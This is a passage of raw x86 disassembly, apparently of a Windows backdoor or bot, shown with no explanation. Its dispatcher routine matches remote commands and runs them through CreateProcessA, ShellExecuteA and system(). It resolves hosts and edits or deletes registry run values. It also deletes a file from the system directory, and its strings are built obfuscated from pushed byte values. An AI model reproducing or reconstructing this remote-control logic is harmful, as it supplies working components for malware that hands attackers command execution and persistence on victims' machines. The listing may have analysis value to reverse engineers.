[esp+24h], esp push eax call sub_13AB8C9 mov ecx, offset word_448CAE call sub_13AC0D0 test eax, eax jnz short loc_13AEF56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_13AEF56: ; CODE XREF: sub_13AEF10+1Dj ; sub_13AEF10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+24h], esp push edx call sub_13AB8C9 mov ecx, offset word_448CAE call sub_13AC0D0 test eax, eax jnz short loc_13AEF96 mov al, [edi+469h] test al, al jz short loc_13AEF96 push 0 lea ecx, [esi+2Ah] call sub_13AB86F cmp byte ptr [eax], 23h jz short loc_13AEF96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_13AEF96: ; CODE XREF: sub_13AEF10+64j ; sub_13AEF10+6Ej ... push esi mov ecx, edi call sub_13AB842 pop edi pop esi retn 4 sub_13AEF10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AEFE0 proc near ; CODE XREF: sub_13AB842j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_13ABBE4 push eax mov ecx, offset dword_447168 call sub_13ABEF0 test eax, eax jz short loc_13AF00A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_13AF00A: ; CODE XREF: sub_13AEFE0+1Cj xor al, al pop esi retn 4 sub_13AEFE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AF020 proc near ; CODE XREF: sub_13ABC5Cj push esi push edi mov edi, GetTickCount mov esi, ecx call edi ; GetTickCount mov edx, ds:dword_E19CE9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_13AF04F mov ecx, offset byte_E19CC5 call sub_13AC10C call edi ; GetTickCount mov ds:dword_E19CE9, eax loc_13AF04F: ; CODE XREF: sub_13AF020+1Cj pop edi mov al, 1 pop esi retn sub_13AF020 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AF070 proc near ; CODE XREF: sub_13ABBC6j var_2E0 = dword ptr -2E0h var_2D8 = dword ptr -2D8h var_2C4 = byte ptr -2C4h var_2BC = byte ptr -2BCh var_2B0 = dword ptr -2B0h var_2AC = byte ptr -2ACh var_2A8 = dword ptr -2A8h var_2A4 = byte ptr -2A4h var_294 = byte ptr -294h var_28C = byte ptr -28Ch var_280 = dword ptr -280h var_27C = byte ptr -27Ch var_278 = dword ptr -278h var_274 = byte ptr -274h var_264 = byte ptr -264h var_260 = byte ptr -260h var_25C = byte ptr -25Ch var_258 = byte ptr -258h var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_248 = dword ptr -248h var_244 = byte ptr -244h var_234 = byte ptr -234h var_22C = byte ptr -22Ch var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_218 = dword ptr -218h var_214 = byte ptr -214h var_204 = byte ptr -204h var_1FC = byte ptr -1FCh var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = byte ptr -1E4h var_1D4 = byte ptr -1D4h var_1D0 = dword ptr -1D0h var_1CC = byte ptr -1CCh var_1C4 = byte ptr -1C4h var_1C0 = byte ptr -1C0h var_1BC = byte ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = byte ptr -1ACh var_1A8 = byte ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_19C = byte ptr -19Ch var_198 = byte ptr -198h var_194 = byte ptr -194h var_190 = byte ptr -190h var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_184 = byte ptr -184h var_180 = dword ptr -180h var_17C = byte ptr -17Ch var_178 = byte ptr -178h var_174 = byte ptr -174h var_170 = byte ptr -170h var_16C = byte ptr -16Ch var_164 = byte ptr -164h var_160 = byte ptr -160h var_15C = byte ptr -15Ch var_154 = byte ptr -154h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_13C = byte ptr -13Ch var_138 = byte ptr -138h var_134 = byte ptr -134h var_12C = byte ptr -12Ch var_124 = byte ptr -124h var_120 = byte ptr -120h var_11C = byte ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_108 = dword ptr -108h var_FC = byte ptr -0FCh var_F0 = byte ptr -0F0h var_EC = byte ptr -0ECh var_E4 = byte ptr -0E4h var_DC = byte ptr -0DCh var_D8 = word ptr -0D8h var_CC = byte ptr -0CCh var_C8 = byte ptr -0C8h var_C0 = byte ptr -0C0h var_BC = byte ptr -0BCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_90 = byte ptr -90h var_8C = byte ptr -8Ch var_84 = byte ptr -84h var_74 = dword ptr -74h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 4384BBh push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz short loc_13AF0E4 lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [edi+2E3h] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF0E4: ; CODE XREF: sub_13AF070+40j lea ecx, [edi+0D6Bh] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AF275 push 1 push offset dword_443600 lea edx, [esp+188h+var_154] push 2 push edx mov ecx, esi call sub_13AB5EA push offset dword_443600 lea eax, [esp+194h+var_118] push 1 push eax mov ecx, esi mov [esp+19Ch+var_1C], 0 call sub_13ABAAE mov ecx, eax mov byte ptr [esp+19Ch+var_28], 1 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 cmp eax, 1 lea ecx, [esp+19Ch+var_124] mov byte ptr [esp+19Ch+var_28], 0 setz bl call sub_13AB626 lea ecx, [esp+19Ch+var_188] call sub_13AB824 push 2000h push 2000h lea ecx, [esp+1A4h+var_188] mov byte ptr [esp+1A4h+var_28], 2 call sub_13AC05D push eax lea ecx, [esp+1A8h+var_174] call sub_13ABBE4 push eax call ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA lea ecx, [esp+1ACh+var_198] push ecx lea ecx, [esp+1B0h+var_180] call sub_13AC3BE mov ecx, 11h xor eax, eax lea edi, [esp+1B0h+var_108] lea edx, [esp+1B0h+var_154] rep stosd lea eax, [esp+1B0h+var_108] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+1D0h+var_184] mov [esp+1D0h+var_108], 44h mov [esp+1D0h+var_D8], bx call sub_13AB8D3 push eax push 0 call CreateProcessA ; CreateProcessA test eax, eax jnz short loc_13AF249 lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset dword_4436FC push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+1E8h+var_1D4] mov byte ptr [esp+1E8h+var_74], 0 call sub_13AB626 mov [esp+1E8h+var_74], 0FFFFFFFFh lea ecx, [esp+1E8h+var_1BC] jmp loc_13AFA6E ; --------------------------------------------------------------------------- loc_13AF249: ; CODE XREF: sub_13AF070+18Cj lea ecx, [esp+1D8h+var_1C4] mov byte ptr [esp+1D8h+var_64], 0 call sub_13AB626 lea ecx, [esp+1D8h+var_1AC] mov [esp+1D8h+var_64], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF275: ; CODE XREF: sub_13AF070+89j lea ecx, [edi+0B71h] call sub_13AB8D3 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AF324 push 1 push offset dword_443600 lea eax, [esp+18Ch+var_170] push 1 push eax mov ecx, esi call sub_13AB5EA mov ecx, offset byte_E2AA95 mov [esp+194h+var_20], 3 call sub_13ABBE4 push eax lea ecx, [esp+198h+var_180] call sub_13AB6EE test eax, eax jnz short loc_13AF310 mov al, ds:byte_4478E6 test al, al jz short loc_13AF2E0 push offset dword_447884 mov ecx, offset dword_448DC0 call sub_13AB847 loc_13AF2E0: ; CODE XREF: sub_13AF070+25Fj mov al, ds:byte_44792F test al, al jz short loc_13AF2F8 push offset byte_44795F mov ecx, offset dword_448DC0 call sub_13ABD42 loc_13AF2F8: ; CODE XREF: sub_13AF070+277j mov ecx, offset dword_448DC0 call sub_13AC25B mov ds:byte_E19CDC, 0 mov ds:byte_E2AA94, 0 loc_13AF310: ; CODE XREF: sub_13AF070+256j mov [esp+1A0h+var_2C], 0FFFFFFFFh lea ecx, [esp+1A0h+var_18C] jmp loc_13AFA6E ; --------------------------------------------------------------------------- loc_13AF324: ; CODE XREF: sub_13AF070+21Aj lea ecx, [edi+0C57h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz short loc_13AF36C lea ecx, [esi+69h] call sub_13AB8D3 push eax mov ecx, offset word_E2AAAA call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF36C: ; CODE XREF: sub_13AF070+2C9j lea ecx, [edi+0DC7h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AF429 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+1B0h+var_160] push 50h push eax call sub_13ABDB5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1BCh+var_178] push 9 push ecx mov [esp+1C4h+var_18], 4 call sub_13ABDB5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+18Ch+var_18], 5 call sub_13ABBE4 push eax mov ecx, edi call sub_13ABBE4 push eax call sub_13AB699 add esp, 8 lea ecx, [esp+18Ch+var_178] mov byte ptr [esp+18Ch+var_18], 4 call sub_13AB626 lea ecx, [esp+18Ch+var_160] mov [esp+18Ch+var_18], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF429: ; CODE XREF: sub_13AF070+311j lea ecx, [edi+0D0Fh] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AF547 lea ecx, [esp+190h+var_164] call sub_13AB824 push offset dword_443600 lea edx, [esp+194h+var_134] push 1 push edx mov ecx, esi mov [esp+19Ch+var_1C], 6 call sub_13ABAAE mov ecx, eax mov byte ptr [esp+19Ch+var_28], 7 call sub_13ABBE4 push eax lea ecx, [esp+1A0h+var_170] call sub_13ABE87 lea ecx, [esp+1A0h+var_144] mov byte ptr [esp+1A0h+var_2C], 6 call sub_13AB626 lea ecx, [esp+1A0h+var_18C] call sub_13AB824 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+1ACh+var_174] mov byte ptr [esp+1ACh+var_2C], bl call sub_13ABBE4 push eax push offset dword_4436F4 push 0 call ShellExecuteA ; ShellExecuteA movsx eax, al push eax lea ecx, [esp+1BCh+var_15C] call sub_13AC4F4 lea ecx, [esp+1BCh+var_160] mov [esp+1BCh+var_48], 9 push ecx lea ecx, [esp+1C0h+var_1A8] call sub_13AC40E lea ecx, [esp+1C0h+var_164] mov byte ptr [esp+1C0h+var_4C], bl call sub_13AB626 lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [esp+1C4h+var_1AC] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+1D0h+var_1BC] mov byte ptr [esp+1D0h+var_5C], 6 call sub_13AB626 mov [esp+1D0h+var_5C], 0FFFFFFFFh lea ecx, [esp+1D0h+var_1A4] jmp loc_13AFA6E ; --------------------------------------------------------------------------- loc_13AF547: ; CODE XREF: sub_13AF070+3CEj lea ecx, [edi+0D99h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz short loc_13AF56A mov ds:byte_E19CDC, al mov al, 1 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF56A: ; CODE XREF: sub_13AF070+4ECj lea ecx, [edi+0D3Dh] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AF831 lea ecx, [esp+198h+var_13C] call sub_13AB824 push offset dword_443600 lea ecx, [esp+19Ch+var_184] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+1A4h+var_24], ebx call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+1A8h+var_30], 0Bh call sub_13AB6EE test eax, eax lea ecx, [esp+1A8h+var_194] mov byte ptr [esp+1A8h+var_34], bl setz byte ptr [esp+1A8h+var_180+3] call sub_13AB626 mov al, byte ptr [esp+1A8h+var_180+3] test al, al jz short loc_13AF5F4 mov [esp+1A8h+var_34], 0FFFFFFFFh lea ecx, [esp+1A8h+var_14C] jmp loc_13AFA6E ; --------------------------------------------------------------------------- loc_13AF5F4: ; CODE XREF: sub_13AF070+56Ej push offset dword_443600 lea edx, [esp+1ACh+var_194] push 1 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+1B4h+var_40], 0Ch call sub_13ABBE4 push eax call inet_addr ; inet_addr lea ecx, [esp+1B8h+var_1A4] mov [esp+1B8h+var_144], eax mov byte ptr [esp+1B8h+var_44], bl call sub_13AB626 mov eax, [esp+1B8h+var_144] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_13AF6C7 push 2 lea eax, [esp+1BCh+var_144] push 4 push eax call gethostbyaddr ; gethostbyaddr mov edi, eax test edi, edi jz loc_13AF7A8 push offset dword_443600 lea ecx, [esp+1C8h+var_1B0] push 1 push ecx mov ecx, esi call sub_13ABAAE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+1D4h+var_5C], 0Dh call sub_13ABBE4 push eax lea eax, [esp+1D8h+var_174] push offset dword_4436E0 push eax call sub_13AB42D add esp, 10h lea ecx, [esp+1D0h+var_1BC] mov byte ptr [esp+1D0h+var_5C], bl call sub_13AB626 lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [esp+1D4h+var_174] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_13AF80E ; --------------------------------------------------------------------------- loc_13AF6C7: ; CODE XREF: sub_13AF070+5CAj push offset dword_443600 lea eax, [esp+1BCh+var_1A4] push 1 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov byte ptr [esp+1C4h+var_50], 0Eh call sub_13ABBE4 push eax call gethostbyname ; gethostbyname lea ecx, [esp+1C8h+var_1B4] mov edi, eax mov byte ptr [esp+1C8h+var_54], bl call sub_13AB626 test edi, edi jz loc_13AF7A8 mov ecx, [edi+0Ch] push offset dword_443600 lea eax, [esp+1CCh+var_1B4] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_13ABAAE mov ebp, eax push edi mov byte ptr [esp+1D8h+var_60], 0Fh call inet_ntoa ; inet_ntoa push eax mov ecx, ebp call sub_13ABBE4 push eax lea ecx, [esp+1E0h+var_17C] push offset dword_4436D4 push ecx call sub_13AB42D add esp, 10h lea ecx, [esp+1D8h+var_1C4] mov byte ptr [esp+1D8h+var_64], bl call sub_13AB626 lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [esp+1DCh+var_17C] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+1E8h+var_18C] mov bl, al mov [esp+1E8h+var_74], 0FFFFFFFFh call sub_13AB626 mov al, bl jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF7A8: ; CODE XREF: sub_13AF070+5E3j ; sub_13AF070+694j push offset dword_443600 lea ecx, [esp+1C8h+var_1B0] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov byte ptr [esp+1D0h+var_5C], 10h call sub_13ABBE4 push eax lea edx, [esp+1D4h+var_174] push offset dword_4436BC push edx call sub_13AB42D add esp, 0Ch lea ecx, [esp+1D0h+var_1BC] mov byte ptr [esp+1D0h+var_5C], bl call sub_13AB626 lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [esp+1D4h+var_174] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_13AF80E: ; CODE XREF: sub_13AF070+652j mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+1E0h+var_184] mov bl, al mov [esp+1E0h+var_6C], ebp call sub_13AB626 mov al, bl jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF831: ; CODE XREF: sub_13AF070+50Fj lea ecx, [edi+0BCDh] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AF922 lea ecx, [edi+9] call sub_13ABBE4 lea edx, [esp+19Ch+var_188] push eax push edx call sub_13AC422 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+1ACh+var_170] mov ebx, 11h push 28h push eax mov [esp+1B4h+var_28], ebx call sub_13ABDB5 add esp, 18h mov esi, eax lea ecx, [esp+19Ch+var_188] mov byte ptr [esp+19Ch+var_28], 12h call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 push eax push offset dword_4435F4 push offset byte_E19CC5 call sub_13AC20B add esp, 10h lea ecx, [esp+19Ch+var_170] mov byte ptr [esp+19Ch+var_28], bl call sub_13AB626 push 20h lea ecx, [esp+1A0h+var_170] push 0 push ecx lea ecx, [esp+1A8h+var_188] call sub_13AB6B2 mov ecx, eax mov byte ptr [esp+1A8h+var_34], 13h call sub_13ABBE4 push eax push offset dword_4435F0 push offset byte_E2AA95 call sub_13AB42D add esp, 0Ch lea ecx, [esp+1A8h+var_17C] mov byte ptr [esp+1A8h+var_34], bl call sub_13AB626 lea ecx, [esp+1A8h+var_194] mov [esp+1A8h+var_34], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AF922: ; CODE XREF: sub_13AF070+7D6j lea ecx, [edi+0E23h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AFA90 push offset dword_443600 lea edx, [esp+1A4h+var_144] push 1 push edx mov ecx, esi call sub_13ABAAE mov edi, eax mov ecx, ebp mov [esp+1ACh+var_38], 14h call sub_13AB7D9 mov ecx, edi mov ebx, eax call sub_13AB7D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_13AB7D9 cmp eax, edi lea ecx, [esp+1ACh+var_150] setle bl or edi, 0FFFFFFFFh mov [esp+1ACh+var_38], edi call sub_13AB626 test bl, bl jnz loc_13AFA73 lea ecx, [esp+1ACh+var_180] call sub_13AB824 mov ecx, ebp mov [esp+1ACh+var_38], 15h call sub_13AB7D9 add eax, 2 mov ecx, esi push eax call sub_13AB86F push eax lea ecx, [esp+1B0h+var_180] call sub_13AB9D7 lea ecx, [esp+1B0h+var_19C] call sub_13AB824 lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_3C], 16h call sub_13ABBE4 push eax lea eax, [esp+1B4h+var_19C] push offset dword_4436AC push eax call sub_13AB42D add esp, 0Ch lea ecx, [esp+1B0h+var_184] call sub_13ABBE4 push eax call system ; system add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_13AFA2A call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset dword_4436FC push ecx push edx jmp short loc_13AFA48 ; --------------------------------------------------------------------------- loc_13AFA2A: ; CODE XREF: sub_13AF070+99Dj call sub_13AB8D3 push eax lea ecx, [esp+1B4h+var_19C] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_13AFA48: ; CODE XREF: sub_13AF070+9B8j mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+1C0h+var_1AC] mov byte ptr [esp+1C0h+var_4C], 15h call sub_13AB626 mov [esp+1C0h+var_4C], edi lea ecx, [esp+1C0h+var_194] loc_13AFA6E: ; CODE XREF: sub_13AF070+1D4j ; sub_13AF070+2AFj ... call sub_13AB626 loc_13AFA73: ; CODE XREF: sub_13AF070+922j ; sub_13AF070+C70j xor al, al loc_13AFA75: ; CODE XREF: sub_13AF070+6Fj ; sub_13AF070+200j ... mov ecx, [esp+1C0h+var_54] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_13AFA90: ; CODE XREF: sub_13AF070+8C7j lea ecx, [edi+0C85h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz short loc_13AFB06 lea edx, [esp+1A4h+var_190] mov ecx, edi push edx call sub_13AC33C mov edi, eax lea ecx, [esi+69h] mov [esp+1A8h+var_34], 17h call sub_13AB8D3 push eax mov ecx, edi call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+1B8h+var_1A4] mov bl, al mov [esp+1B8h+var_44], 0FFFFFFFFh call sub_13AB626 mov al, bl jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AFB06: ; CODE XREF: sub_13AF070+A35j lea ecx, [edi+0CE1h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AFBF7 push 1 push offset dword_443600 lea edx, [esp+1B0h+var_17C] push 1 push edx mov ecx, esi call sub_13AB5EA push 20h lea ecx, [esp+1BCh+var_1A4] push 0 push ecx mov ecx, eax mov [esp+1C4h+var_44], 18h call sub_13AB6B2 mov ecx, eax mov byte ptr [esp+1C4h+var_50], 19h call sub_13ABBE4 push eax push offset dword_4435F0 push offset byte_E2AA95 call sub_13AB42D add esp, 0Ch lea ecx, [esp+1C4h+var_1B0] mov byte ptr [esp+1C4h+var_50], 18h call sub_13AB626 or edi, 0FFFFFFFFh lea ecx, [esp+1C4h+var_198] mov [esp+1C4h+var_50], edi call sub_13AB626 push 0 push 25h push 1Dh push 23h lea edx, [esp+1D4h+var_1B0] push 28h push edx call sub_13ABDB5 add esp, 18h mov esi, eax mov ecx, offset byte_E2AA95 mov [esp+1C4h+var_50], 1Ah call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 push eax push offset dword_4435F4 push offset byte_E19CC5 call sub_13AC20B add esp, 10h lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], edi call sub_13AB626 mov al, 1 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AFBF7: ; CODE XREF: sub_13AF070+AABj lea ecx, [edi+0CB3h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AFCCB push offset dword_443600 lea eax, [esp+1B0h+var_180] push 1 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+1B8h+var_44], 1Bh call sub_13ABBE4 push eax call atoi ; atoi or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+1B8h+var_18C] mov ebx, eax mov [esp+1B8h+var_44], ebp call sub_13AB626 test ebx, ebx jnz short loc_13AFC5F mov ebx, 7 loc_13AFC5F: ; CODE XREF: sub_13AF070+BE8j lea ecx, [esp+1B8h+var_1A4] push ebx push ecx mov ecx, edi call sub_13ABD4C push offset byte_446F80 lea ecx, [esp+1C4h+var_1AC] mov [esp+1C4h+var_4C], 1Ch call sub_13AB6EE test eax, eax jz short loc_13AFCB4 lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [esp+1C8h+var_1B0] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 loc_13AFCB4: ; CODE XREF: sub_13AF070+C17j lea ecx, [esp+1D4h+var_1C0] mov [esp+1D4h+var_60], ebp call sub_13AB626 mov al, 1 jmp loc_13AFA75 ; --------------------------------------------------------------------------- loc_13AFCCB: ; CODE XREF: sub_13AF070+B9Cj lea ecx, [edi+0DF5h] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13AFA73 lea ecx, [esp+1B0h+var_138] call sub_13AB824 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+264h+var_19C] push 2Dh push ecx mov [esp+26Ch+var_3C], 1Dh call sub_13ABDB5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+1B0h+var_3C], 1Eh call sub_13ABBE4 push eax lea ecx, [esp+1B4h+var_138] call sub_13ABE87 lea ecx, [esp+1B4h+var_1A0] mov [esp+1B4h+var_40], 1Dh call sub_13AB626 mov edi, offset dword_4436A8 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+1B4h+var_C8] repne scasb not ecx sub edi, ecx mov [esp+1B4h+var_1A4], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+1B4h+var_C8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, RegOpenKeyExA mov edi, ecx lea ecx, [esp+1B4h+var_1A4] push ecx push 20019h push eax push offset dword_44368C push 80000002h call esi ; RegOpenKeyExA push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1F0h+var_1B4] push 1Fh push edx call sub_13ABDB5 add esp, 30h lea ecx, [esp+1C8h+var_DC] push edi push ecx push 1 push 0 mov ecx, eax mov byte ptr [esp+1D8h+var_54], 1Fh call sub_13ABBE4 mov edx, [esp+1D8h+var_1B8] push eax push edx call RegSetValueExA ; RegSetValueExA lea ecx, [esp+1E0h+var_1CC] mov byte ptr [esp+1E0h+var_6C], 1Dh call sub_13AB626 mov eax, [esp+1E0h+var_1D0] mov edi, RegCloseKey push eax call edi ; RegCloseKey lea ecx, [esp+1E4h+var_1D4] push ecx push 0F003Fh push 0 lea ecx, [esp+1F0h+var_16C] call sub_13ABBE4 push eax push 80000002h call esi ; RegOpenKeyExA push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+21Ch+var_1E4] push 2Dh push edx call sub_13ABDB5 add esp, 2Ch mov ecx, eax mov [esp+1F8h+var_84], 20h call sub_13ABBE4 mov ebp, RegDeleteValueA push eax mov eax, [esp+1FCh+var_1E8] push eax call ebp ; RegDeleteValueA lea ecx, [esp+200h+var_1EC] mov [esp+200h+var_8C], 1Dh call sub_13AB626 mov ecx, [esp+200h+var_1F0] push ecx call edi ; RegCloseKey push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+228h+var_1F0] push 9 push edx call sub_13ABDB5 add esp, 2Ch mov ecx, eax mov [esp+204h+var_90], 21h call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+204h+var_1F0] mov [esp+204h+var_90], 1Dh call sub_13AB626 lea ecx, [esp+204h+var_1C0] call sub_13AB824 mov bl, 22h push 104h push 104h lea ecx, [esp+20Ch+var_1C0] mov [esp+20Ch+var_90], bl call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea eax, [esp+234h+var_1FC] push 9 push eax call sub_13ABDB5 add esp, 2Ch mov ecx, eax mov [esp+210h+var_9C], 23h call sub_13ABBE4 push eax lea ecx, [esp+214h+var_1CC] call sub_13ABBE4 push eax lea ecx, [esp+218h+var_1CC] push offset dword_443684 push ecx call sub_13AB42D add esp, 10h lea ecx, [esp+210h+var_1FC] mov [esp+210h+var_9C], bl call sub_13AB626 lea ecx, [esp+210h+var_1CC] call sub_13ABA81 push eax call DeleteFileA ; DeleteFileA lea edx, [esp+214h+var_204] lea ecx, [esp+214h+var_19C] push edx push 0F003Fh push 0 call sub_13ABBE4 push eax push 80000002h call esi ; RegOpenKeyExA push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 lea eax, [esp+248h+var_214] push 12h push eax call sub_13ABDB5 add esp, 28h mov ecx, eax mov [esp+228h+var_B4], 24h call sub_13ABBE4 mov ecx, [esp+228h+var_218] push eax push ecx 